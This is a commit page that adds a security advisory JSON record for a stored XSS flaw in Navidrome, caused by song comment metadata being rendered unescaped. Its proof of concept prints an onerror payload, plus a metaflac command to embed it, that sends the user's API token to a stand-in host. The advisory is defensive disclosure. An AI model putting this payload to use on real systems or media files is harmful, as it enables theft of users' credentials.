Skip to content

Commit e763d91

Browse files
1 parent 861b267 commit e763d91

File tree

1 file changed

+63
-0
lines changed

1 file changed

+63
-0
lines changed
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-rh3r-8pxm-hg4w",
4+
"modified": "2026-02-04T00:12:20Z",
5+
"published": "2026-02-04T00:12:20Z",
6+
"aliases": [],
7+
"summary": "Navidrome has XSS via comment from song metadata",
8+
"details": "### Summary\n\nAn XSS vulnerability in the frontend allows a malicious attacker to inject code through the comment metadata of a song to exfiltrate user credentials.\n\nAn attacker's maliciously crafted song has to be added to Navidrome to exploit the vulnerability.\n\n### Details\n\nThe frontend is using React. In various places, the code uses the `dangerouslySetInnerHTML` escape hatch to set the content of an HTML element.\n\nIn some places, the value is first sanitized by removing anything looking like an HTML tag. In at least one place the value is used as is, thus leading to the XSS vulnerability.\n\nIn `MultiLineTextField` component, the input is split into lines and rendered through the `dangerouslySetInnerHTML` property. \n\n```js\n<div\n data-testid={`${source}.${idx}`}\n key={md5(line + idx)}\n dangerouslySetInnerHTML={{ __html: line }}\n/>\n```\n\nThis component is then used in the `SongInfo` and `AlbumInfo` components, when rendering the comment of the song or album. The contents of the comments field is taken verbatim from the metadata of a song, such as the VORBIS `COMMENT` comment of a FLAC file.\n\nBy crafting the contents of the comment field, an attacker can inject code into the frontend, which runs whenever a user views the song or album info.\n\nAdditionally, as the Navidrome API token is kept in local storage and since there's no CSP in place unless the user's configured one outside of Navidrome, the attacker can exfiltrate the API token.\n\n### PoC\n\n1. Modify the comment field of a song to contain the following payload using a tool like MusicBrain'z Picard:\n\n```js\n<img src=x onerror=\"fetch(`https://example.com/c2c/${localStorage.getItem('token')}`)\" />\n```\n\nor use `metaflac`:\n\n```shell\necho '<img src=x onerror=\"fetch(`https://example.com/c2c/${localStorage.getItem('token')}`)\" />' | metaflac --set-tag=comment=<(cat) file.flac\n```\n\n2. Add the song to Navidrome\n3. Enter the \"Songs\" or one of the albums page, click the \"kebab menu\" and then \"Get Info\"\n\nIn this payload, a broken image can be seen in the info dialog.\n\n<img width=\"996\" height=\"660\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1467cdff-17b2-4dc6-9fb5-0a83c021ca04\" />\n\nIn the developer tools' network inspector, the request exfiltrating the token to an example domain can be seen.\n\n<img width=\"410\" height=\"34\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3f668797-63a6-4355-ae57-e95bde444143\" />\n\n\n### Impact\n\nThe vulnerability affects users of the Navidrome UI with songs from untrusted sources.\n\n### Mitigations\n\n- Users of Navidrome should configure a strict [[Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) in their reverse-proxy to make exfiltration more difficult\n- Users of Navidrome should not index songs from untrusted sources without first vetting their metadata",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/navidrome/navidrome"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "0.60.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/navidrome/navidrome/security/advisories/GHSA-rh3r-8pxm-hg4w"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/navidrome/navidrome/commit/d7ec7355c9036d5be659d6ac555c334bb5848ba6"
44+
},
45+
{
46+
"type": "PACKAGE",
47+
"url": "https://github.com/navidrome/navidrome"
48+
},
49+
{
50+
"type": "WEB",
51+
"url": "https://github.com/navidrome/navidrome/releases/tag/v0.60.0"
52+
}
53+
],
54+
"database_specific": {
55+
"cwe_ids": [
56+
"CWE-80"
57+
],
58+
"severity": "MODERATE",
59+
"github_reviewed": true,
60+
"github_reviewed_at": "2026-02-04T00:12:20Z",
61+
"nvd_published_at": null
62+
}
63+
}

0 commit comments

Comments
 (0)